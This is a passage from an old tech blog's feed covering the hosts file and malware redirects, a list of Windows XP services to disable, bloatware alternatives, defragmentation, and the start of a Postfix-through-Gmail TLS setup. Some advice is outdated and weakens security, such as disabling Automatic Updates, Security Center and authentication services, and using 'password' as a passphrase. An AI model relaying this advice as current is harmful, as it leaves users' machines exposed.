&lt;p&gt;As you can see near the bottom the name &lt;strong&gt;localhost&lt;/strong&gt; is synonymes with &lt;strong&gt;127.0.0.1&lt;/strong&gt; so instead remembering the number &lt;strong&gt;127.0.0.1&lt;/strong&gt; you can simply type &lt;strong&gt;localhost&lt;/strong&gt;.  By the way &lt;strong&gt;127.0.0.1&lt;/strong&gt; is the loopback IP address of your own computer.  So to block myspace we would simple add a new line to the text file with the following:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;127.0.0.1 www.myspace.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Anytime you requested the page myspace it would try to contact your &lt;em&gt;own&lt;/em&gt; computer instead of myspace.  Since your own computer is not myspace it will show a page not found or blank page.&lt;/p&gt;

&lt;p&gt;To add your routers IP address to the hosts file you might add a line similar to this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;192.168.1.1 WhateverNameYouWant&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Anytime you typed &lt;strong&gt;WhateverNameYouWant&lt;/strong&gt; it would redirect to &lt;strong&gt;192.168.1.1&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;Now for the real reason I am telling you about the hosts file&lt;/h3&gt;

&lt;p&gt;Now that I have showed you a little about how the host file works.  I want to warn you that some malicious programs mostly (spyware/viruses/phishing programs) will alter your hosts file in very dangerous ways.  It may be as &amp;ldquo;harmless&amp;rdquo; as redirecting you from www.google.com to a slightly different looking search engine so you will think you are searching with google but you are actually using their search engine that &lt;em&gt;they&lt;/em&gt; get paid for each time you click on an ad instead of Google.  A far more dangerous alteration of the host file could be a redirect of your online bank, ebay or popular online email site.  You would think you are logging into your online bank when in actuality you would be logging into a fake replica bank site that would collect your credentials to be later used against you.&lt;/p&gt;

&lt;p&gt;Whenever you suspect you have spyware, viruses, or other malware on your computer check your hosts file and make sure there isn&amp;rsquo;t anything you haven&amp;rsquo;t put in there.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Turn Off Unnecessary Windows Services </title>
		<link href="https://www.marksanborn.net/howto/turn-off-unnecessary-windows-services/index.html" />
		<updated>2007-10-17T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/turn-off-unnecessary-windows-services/index.html</id>
		<content type="html">&lt;p&gt;Windows is notorious for having useless features and CPU resource hogging programs/services enabled by default.  Today&amp;rsquo;s post is about removing some of the useless services.  Services are kind of like &lt;a href=&#34;/howto/startup-programs-and-removing-them/&#34;&gt;startup programs&lt;/a&gt;, they are usually not necessary, they slow down your computer, and they slow down the boot up process; however, some are useful so thats why I have made a list of ones to get rid of.0  To turn off services in windows you go to &lt;strong&gt;Start&lt;/strong&gt; &amp;gt; &lt;strong&gt;Run&lt;/strong&gt; &amp;gt; Type: &amp;lsquo;&lt;strong&gt;services.msc&lt;/strong&gt;&amp;rsquo; &amp;gt; Double Click on the service you want to alter and change the startup type to disabled or manual as directed in the list of unnecessary services below.&lt;/p&gt;

&lt;p&gt;If you are looking to further optimize your computer check out, &lt;a href=&#34;/software/bloatware-replace-slow-software-with-faster-alternatives/&#34;&gt;Bloatware - Replace Slow Software with Faster Alternatives&lt;/a&gt; and &lt;a href=&#34;/howto/defragmenting-your-hard-drive/&#34;&gt;What is Defragmentation&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Unnecessary Windows Services&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;AdobeLM Service&lt;/strong&gt;: Not all computers have this service, still it is useless, just disable it if you have it.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Alerter&lt;/strong&gt;: Disable this one if you are not on a network because you don&amp;rsquo;t need to receive alerts.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Application Management&lt;/strong&gt;: Set this to manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Automatic Updates&lt;/strong&gt;: Disable it if you don&amp;rsquo;t require auto updating and patching of Windows.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;ClipBook&lt;/strong&gt;: Disable this if you are not on a network, since you don’t need to share anything.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Computer Browser&lt;/strong&gt;: Disable this too if you are not on a network, as you don&amp;rsquo;t need to browse and monitor connected computers.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cryptographic Services&lt;/strong&gt;: Set this to manual if you are not sure you need it.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Distributed Transaction Service&lt;/strong&gt;: Set this to manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;DNS Client&lt;/strong&gt;: Set this to manual if you are not on a network.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Error Reporting Service&lt;/strong&gt;: Disable this useless service for reporting errors to Microsoft.  After all, it doesn&amp;rsquo;t help you solve the problem.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Fast User Switching Compatibility&lt;/strong&gt;: Disable it if you have only a single user on your computer, or if you do not use fast user switching feature much. That is, if you completely log-off and then allow other users to use your computer, then you do not need this. Note that this service is completely useless for low memory computers.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;FTP Publishing&lt;/strong&gt;: Disable this if you do not use FTP.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Help and Support&lt;/strong&gt;: Set it to manual or turn it off if you do not use the help feature often.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;HTTP SSL&lt;/strong&gt;: Set it to manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Human Interface Device Access&lt;/strong&gt;: Turn it off if you do not use hot-keys or remote systems on your computer; if you use them sometimes, it is better turn it to manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;IMAPI CD-Burning COM Service&lt;/strong&gt;: Set this to manual to save memory and time. Do not turn it to disabled if you have a CD writer or a DVD writer attached to your computer.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Indexing Service&lt;/strong&gt;: Turn it off, it uses lots of CPU&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;InstallDriver Table Manager&lt;/strong&gt;: Disable it.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;IPSEC Services&lt;/strong&gt;: Set this to manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Windows Messenger&lt;/strong&gt;: Disable this if you are not on a network, it uses too much memory and it is a hog. Use Gaim instead.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;MS Software Shadow Copy Provider&lt;/strong&gt;: Set this to manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Net Logon&lt;/strong&gt;: Disable if you are not on a network.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;NetMeeting Remote Desktop Sharing&lt;/strong&gt;: Disable this if you do not use Remote Desktop feature.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Network Provisioning Service&lt;/strong&gt;: Disable this, it&amp;rsquo;s useless if you are not on a network.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;NT LM Security Support Provider&lt;/strong&gt;: Disable this, its useless too.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;NVIDIA Display Driver Service&lt;/strong&gt;: If you do not use the features of nVidia Desktop, this service must be disabled; it is a big hog of memory.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Office Source Engine&lt;/strong&gt;: Disable it if you have a MS Office CD handy always, its helpful if your installation goes corrupt.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Portable Media Serial Number Service&lt;/strong&gt;: Set it to manual if you connect portable media to your computer, otherwise disable it.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Print Spooler&lt;/strong&gt;: Disable it if you don’t have a printer.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Protected Storage&lt;/strong&gt;: Disable it if you don’t allow strangers to sit on your encrypted storage computer.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Remote Desktop Help Session Manager&lt;/strong&gt;: Disable it if you don’t use Remote Desktop feature for help and support from Microsoft.  You don&amp;rsquo;t get support from Microsoft usually anyways.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Remote Procedure Call Locator&lt;/strong&gt;: Set it to manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Remote Registry&lt;/strong&gt;: Serious security threat if turned on, disable it now!&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removable Storage&lt;/strong&gt;: Disable it if you don’t use removable storage drives, else turn it manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Routing and Remote Access&lt;/strong&gt;: Set it to manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Secondary Logon&lt;/strong&gt;: Useless feature for most, disable it or turn it manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Security Accounts Manager&lt;/strong&gt;: Disable it, it&amp;rsquo;s pretty useless, unless you use NTFS Encryption.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Security Center&lt;/strong&gt;: Damn useless and irritating feature. Disable it as soon as you can!&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Server&lt;/strong&gt;: Set it to manual or disable it if you are not on network.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Smart Card&lt;/strong&gt;: Disable it.  Seriously who uses smart cards for their home computers?&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;SSDP Discovery Service&lt;/strong&gt;: Disable it of not on network or don’t have UPnP devices on home networks.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;TCP/IP NetBIOS Helper&lt;/strong&gt;: Set it to manual if on network, otherwise disable it.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Telnet&lt;/strong&gt;: Set it to manual if you use this feature, otherwise disable it, especially if you are home users.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Terminal Services&lt;/strong&gt;: Since you aren’t using Remote Desktop etc… disable it for good.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Uninterrupted Power Supply&lt;/strong&gt;: Disable it if you don’t have an UPS attached to the serial port of your computer.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Universal Plug and Play Device Host&lt;/strong&gt;: Set it to manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;User Privilege Service&lt;/strong&gt;: Set it to manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Volume Shadow Copy&lt;/strong&gt;: Disable it if you don’t backup using System Restore or Windows Backup.  I recommend Ghost.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Windows Firewall/Internet Connection Sharing (ICS)&lt;/strong&gt;: Disable this if you have another firewall such as Norton or Zone Alarm installed, otherwise let it remain ON for better security.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Windows Image Acquisition (WIA)&lt;/strong&gt;: If you don’t connect/use a camera/scanner with your computer, disable this service, else set it to manual.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Windows Media Connect&lt;/strong&gt;: Disable this if you don’t use things such as an iPod etc… for your Windows Media Player.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Windows Media Connect (WMC) Helper&lt;/strong&gt;: Disable this if you disabled the one above or if you don’t need help.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Windows Time&lt;/strong&gt;: Disable if not on a synchronized network.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Wireless Zero Configuration&lt;/strong&gt;: Disable if not on a wireless network.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;WMI Performance Adapters&lt;/strong&gt;: Disable it, useless service for basic usage.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Workstation&lt;/strong&gt;: Disable if you aren’t on a network. Or simply, if you are a gamer, just shut this one.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	
	<entry>
		<title>Bloatware - Replace Slow Software with Faster Alternatives</title>
		<link href="https://www.marksanborn.net/software/bloatware-replace-slow-software-with-faster-alternatives/index.html" />
		<updated>2007-10-16T00:00:00Z</updated>
		<id>https://www.marksanborn.net/software/bloatware-replace-slow-software-with-faster-alternatives/index.html</id>
		<content type="html">&lt;h3&gt;What is Bloatware?&lt;/h3&gt;

&lt;p&gt;Bloatware is any program that uses significantly more system resources than needed to get the job done that the program was originally intended for.  Bloatware can also mean a program that comes bundled with other unnecessary programs or unused features and modules.&lt;/p&gt;

&lt;h3&gt;Why do they do it?&lt;/h3&gt;

&lt;p&gt;Bloatware has become common today due to various reasons.  The first one is due to the massive improvements in computer processing speed.  Many programmers simply disregard older machines and argue that the computer is so fast that even if we program the software poorly it will be unnoticeable to a fast computer.  Programs today are often developed rapidly in order to compete with the next new program, technology or feature so programmers often do not have the time it takes to properly design and implement quality software.  Since there are many programs that get the same job done it is common that software companies will release a new version of the same program with just one added (often useless) feature that adds to the size of the program and/or makes the program run less than optimal.&lt;/p&gt;

&lt;h3&gt;Examples of Bloatware&lt;/h3&gt;

&lt;p&gt;Here are some examples of software I believe have unnecessary modules, unused features, or simply run inefficient:&lt;/p&gt;

&lt;p&gt;Adobe Acrobat Reader
Windows Media Player
Quicktime
Realtime
Itunes
WinDVD (pretty much any DVD software)
Windows Live Messenger
Nero&lt;/p&gt;

&lt;h3&gt;Alternatives to Bloatware&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;http://www.foxitsoftware.com/pdf/reader_2/down_reader.htm&#34;&gt;Foxit reader&lt;/a&gt;
&lt;a href=&#34;http://sourceforge.net/projects/guliverkli/&#34;&gt;Media Player Classic&lt;/a&gt;
&lt;a href=&#34;http://www.free-codecs.com/download/QuickTime_Alternative.htm&#34;&gt;Quicktime Alternative&lt;/a&gt;
&lt;a href=&#34;http://www.free-codecs.com/download/Real_Alternative.htm&#34;&gt;Realtime Alternative&lt;/a&gt;
&lt;a href=&#34;http://www.oldversion.com/program.php?n=winamp&#34;&gt;Winamp 2.91&lt;/a&gt; (Not the current version)
&lt;a href=&#34;http://www.foobar2000.org&#34;&gt;Foobar2000&lt;/a&gt;
&lt;a href=&#34;http://www.pidgin.im/&#34;&gt;Pidgin&lt;/a&gt;
&lt;a href=&#34;http://infrarecorder.sourceforge.net/&#34;&gt;Infrarecorder&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You may also want to check out my &lt;a href=&#34;/recommended-software/&#34;&gt;recommended software&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Please leave any other slow bloated software you can think of in the comments below and I will add them to my list.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Defragmenting Your Hard Drive</title>
		<link href="https://www.marksanborn.net/howto/defragmenting-your-hard-drive/index.html" />
		<updated>2007-10-15T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/defragmenting-your-hard-drive/index.html</id>
		<content type="html">&lt;h3&gt;What is Defragmentation?&lt;/h3&gt;

&lt;p&gt;Well defragmentation is the undoing of fragmentation.  Fragmentation is described as the disarray of files stored in an inefficient manner.  In other words, your computer is fast and lazy.  It stores files wherever it pleases without giving much thought of how it is going to find the file in the future.  Your computer is like a mechanic that forgets to put his/her tools away when they are done with them and can&amp;rsquo;t find them without a hunt around the garage.  What &lt;em&gt;defragmentation&lt;/em&gt; does is go through all the files and places them in a manner in which it is easy to find for later retrieval, thus speeding up the time it takes to find files on your computer.&lt;/p&gt;

&lt;h3&gt;How often do I need to do it?&lt;/h3&gt;

&lt;p&gt;As often as necessary&amp;hellip;seriously.  You need to run a check whenever you feel your computer could use a quick defrag.  If the windows defrag says you need to defrag, then go ahead and do it.  If you haven&amp;rsquo;t done a defrag or this is the first time that you heard of the concept you probably need to do it.&lt;/p&gt;

&lt;h3&gt;What can I expect?&lt;/h3&gt;

&lt;p&gt;Don&amp;rsquo;t expect to see blistering speed and increased performance from a simple defrag.  Defragmentation will increase the speed of programs loading and decrease the time it takes to search for files but if you are experiencing extremely slow computer performance you probably have spyware/adware.  Possibly even &lt;a href=&#34;/software/bloatware-replace-slow-software-with-faster-alternatives/&#34;&gt;bloatware&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So how do you do it you ask?&lt;/p&gt;

&lt;h3&gt;Defragmentation for Windows XP&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Checking if you need to defrag&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Click &lt;strong&gt;Start&lt;/strong&gt;, point to &lt;strong&gt;All Programs&lt;/strong&gt;, point to &lt;strong&gt;Accessories&lt;/strong&gt;, point to &lt;strong&gt;System Tools&lt;/strong&gt;, and then click &lt;strong&gt;Disk Defragmenter&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Click the drive that you want to analyze.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Click &lt;strong&gt;Analyze&lt;/strong&gt; to begin the analysis.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Review the results of the analysis after it is complete by clicking &lt;strong&gt;View Report&lt;/strong&gt;. If the analysis tool recommends that the volume be defragmented, follow the steps in the next section.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Defragment the Disk&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;If the Disk Defragmenter tool is not already running, click &lt;strong&gt;Start&lt;/strong&gt;, point to &lt;strong&gt;All Programs&lt;/strong&gt;, point to &lt;strong&gt;Accessories&lt;/strong&gt;, point to &lt;strong&gt;System Tools&lt;/strong&gt;, and then click &lt;strong&gt;Disk Defragmenter&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Click the drive that you want to defragment.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Click &lt;strong&gt;Defragment&lt;/strong&gt; to begin the operation.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Review the progress of the operation in the Defragmentation Display window. Fragmented files on the disk appear in red, contiguous files are blue, and system files are green. The goal is to eliminate most of the red in the window.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;Defragmentation for Windows Vista&lt;/h3&gt;

&lt;p&gt;Windows Vista seems to enable scheduled disk degrags once a week by default so you should be ok.  To see if you need to defrag go to &lt;strong&gt;Start&lt;/strong&gt; &amp;gt; &lt;strong&gt;All Programs&lt;/strong&gt; &amp;gt; &lt;strong&gt;Accessories&lt;/strong&gt; &amp;gt; &lt;strong&gt;System Tools&lt;/strong&gt; &amp;gt; &lt;strong&gt;Disk Defragmenter&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;Alternative to the Windows Defragmenter&lt;/h3&gt;

&lt;p&gt;For a commercial program for disk degramentation that might be faster and use less resources try diskeeper.  &lt;a href=&#34;http://www.diskeeper.com&#34;&gt;www.diskeeper.com&lt;/a&gt; website for more information.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Send Mail Postfix through Gmail's SMTP on a Ubuntu LTS Server</title>
		<link href="https://www.marksanborn.net/linux/send-mail-postfix-through-gmails-smtp-on-a-ubuntu-lts-server/index.html" />
		<updated>2007-10-01T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/send-mail-postfix-through-gmails-smtp-on-a-ubuntu-lts-server/index.html</id>
		<content type="html">&lt;p&gt;After looking on the internet for awhile I finally found a decent guide on how to setup Gmail SMTP through postifx; however, after following the guide I found that it left parts out or things didn&amp;rsquo;t work quite the same on a Ubuntu server.  This guide is intended to get Gmail&amp;rsquo;s SMTP set up through postifx on a LTS Ubuntu server quickly and without too much information about other operating systems; although, you could probably adapt the guide to work on other systems.&lt;/p&gt;

&lt;p&gt;Google&amp;rsquo;s Gmail service requires the protocols TLS and SASL2 to be built into Postfix.  Luckily this is already done on the Ubuntu LTS Server.&lt;/p&gt;

&lt;p&gt;In order to communicate with google we need to have Gmail&amp;rsquo;s certificate authority and we need to generate our own Certificate Authority (CA).&lt;/p&gt;

&lt;h3&gt;Step 1: Create a Certificate Authority&lt;/h3&gt;

&lt;p&gt;Since we will be creating temporary files and will want to delete them later, Change the directory to your home directory so we don&amp;rsquo;t forget to delete them later and leave what I call &amp;ldquo;mouse turds&amp;rdquo; laying around.
&lt;code&gt;cd ~&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Create the CA
&lt;code&gt;$ /usr/lib/ssl/misc/CA.pl -newca
CA certificate filename (or enter to create)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Making CA certificate &amp;hellip;
Generating a 1024 bit RSA private key
&amp;hellip;&amp;hellip;.++++++
&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;.++++++
writing new private key to &amp;lsquo;./demoCA/private/cakey.pem&amp;rsquo;
Enter PEM pass phrase: &lt;strong&gt;password&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;Verifying - Enter PEM pass phrase: &lt;strong&gt;password&lt;/strong&gt;&lt;/h2&gt;

&lt;p&gt;You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,&lt;/p&gt;

&lt;h2&gt;If you enter &amp;lsquo;.&amp;rsquo;, the field will be left blank.&lt;/h2&gt;

&lt;p&gt;Country Name (2 letter code) [US]:&lt;strong&gt;US&lt;/strong&gt;
State or Province Name (full name) [New York]:&lt;strong&gt;New York&lt;/strong&gt;
Locality Name (eg, city) []:&lt;strong&gt;New York&lt;/strong&gt;
Organization Name (eg, company) []:&lt;strong&gt;Sanborn_Widgets&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []:Mark
Email Address []:username@gmail.com&lt;/p&gt;

&lt;p&gt;Please enter the following &amp;lsquo;extra&amp;rsquo; attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Using configuration from /usr/lib/ssl/openssl.cnf
Enter pass phrase for ./demoCA/private/cakey.pem:
Check that the request matches the signature
Signature ok&lt;/p&gt;

&lt;h3&gt;Step 2: Create a Server Certificate&lt;/h3&gt;

&lt;p&gt;Since these values have to match with the CA you just created.  You may want to keep that output of what you just did to reference it for the next command.  You can do this by opening another console or virtual terminal and switch back and forth between them.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;openssl req -new -nodes -subj &#39;/CN=domain.com/O=Sanborn_Widgets/C=US/ST=New York/L=New York/emailAddress=username@gmail.com&#39; -keyout FOO-key.pem -out FOO-req.pem -days 3650&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Step 3: Sign the Certificate&lt;/h3&gt;

&lt;h1&gt;openssl ca -out FOO-cert.pem -infiles FOO-req.pem&lt;/h1&gt;

&lt;p&gt;Using configuration from
/usr/lib/ssl/openssl.cnf
Enter pass phrase for ./demoCA/private/cakey.pem:
Check that the request matches the signature
Signature ok&lt;/p&gt;

&lt;p&gt;Then press y for anything else it asks.&lt;/p&gt;

&lt;h3&gt;Step 4: Copy the certificates to the Postfix folder&lt;/h3&gt;

&lt;h1&gt;cp demoCA/cacert.pem FOO-key.pem FOO-cert.pem /etc/postfix&lt;/h1&gt;

&lt;h1&gt;chmod 644 /etc/postfix/FOO-cert.pem /etc/postfix/cacert.pem&lt;/h1&gt;

&lt;h1&gt;chmod 400 /etc/postfix/FOO-key.pem&lt;/h1&gt;

&lt;p&gt;Gmail uses the Thawte Premium Server CA.  You need to add this to the end of /etc/postfix/cacert.pem&lt;/p&gt;

&lt;p&gt;&lt;code&gt;-----BEGIN CERTIFICATE-----
MIIDJzCCApCgAwIBAgIBATANBgkqhkiG9w0BAQQFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYD
VQQKExRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAxMYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTk2MDgwMTAwMDAwMFoXDTIwMTIzMTIzNTk1OVowgc4xCzAJBgNVBAYTAlpB
MRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEdMBsG
A1UEChMUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsTH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMTGFRoYXd0ZSBQcmVtaXVtIFNl
cnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv
bTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA0jY2aovXwlue2oFBYo847kkE
VdbQ7xwblRZH7xhINTpS9CtqBo87L+pW46+GjZ4X9560ZXUCTe/LCaIhUdib0GfQ
ug2SBhRz1JPLlyoAnFxODLz6FVL88kRu2hFKbgifLy3j+ao6hnO2RlNYyIkFvYMR
uHM/qgeN9EJN50CdHDcCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG
9w0BAQQFAAOBgQAmSCwWwlj66BZ0DKqqX1Q/8tfJeGBeXm43YyJ3Nn6yF8Q0ufUI
hfzJATj/Tb7yFkJD57taRvvBxhEf8UqwKEbJw8RCfbz6q1lu1bdRiBHjpIUZa4JM
pAwSremkrj/xw0llmozFyD4lt5SZu5IycQfwhl7tUCemDaYj+bvLpgcUQg==
-----END CERTIFICATE-----&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Alternative Method&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you do not trust me or don&amp;rsquo;t feel comfortable copying CA certs from me you can get it from www.thawte.com/roots and download all of the certs from them.  The file is called, &amp;lsquo;ThawtePremiumServerCA_b64.txt&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;The following code would put it in cacert.pem from the ThawtePremiumServerCA_b64.txt&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cat ThawtePremiumServerCA_b64.txt &amp;gt;&amp;gt;cacert.pem&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you want to understand how this command works I recommend checking out, &lt;a href=&#34;/linux/getting-familiar-with-the-linux-command-line/&#34;&gt;Getting Familiar with the Linux Command Line&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Step 5: Add these lines to the bottom of /etc/postfix/main.cf&lt;/h3&gt;

&lt;p&gt;Note: When I first added these lines I had a space in front of the first line which would give me errors when trying to run postfix.  The only problem was the error was misleading saying there was something wrong with the line above steering me into the wrong direction and I ended up trouble shooting something that wasn&amp;rsquo;t broke.  So make sure you have copied these lines exactly into the bottom of main.cf without and spaces in front of any of the lines.&lt;/p&gt;

&lt;p&gt;`## TLS Settings
#
smtp_tls_CAfile = /etc/postfix/cacert.pem
smtp_tls_cert_file = /etc/postfix/FOO-cert.pem
smtp_tls_key_file = /etc/postfix/FOO-key.pem
smtp_tls_session_cache_database = btree:/var/run/smtp_tls_session_cache
smtp_use_tls = yes
smtpd_tls_CAfile = /etc/postfix/cacert.pem
smtpd_tls_cert_file = /etc/postfix/FOO-cert.pem
smtpd_tls_key_file = /etc/postfix/FOO-key.pem
smtpd_tls_received_header = yes
smtpd_tls_session_cache_database = btree:/var/run/smtpd_tls_session_cache
smtpd_use_tls = yes
tls_random_source = dev:/dev/urandom
#&lt;/p&gt;

&lt;h2&gt;SASL Settings&lt;/h2&gt;

&lt;h1&gt;This is going in to THIS server&lt;/h1&gt;
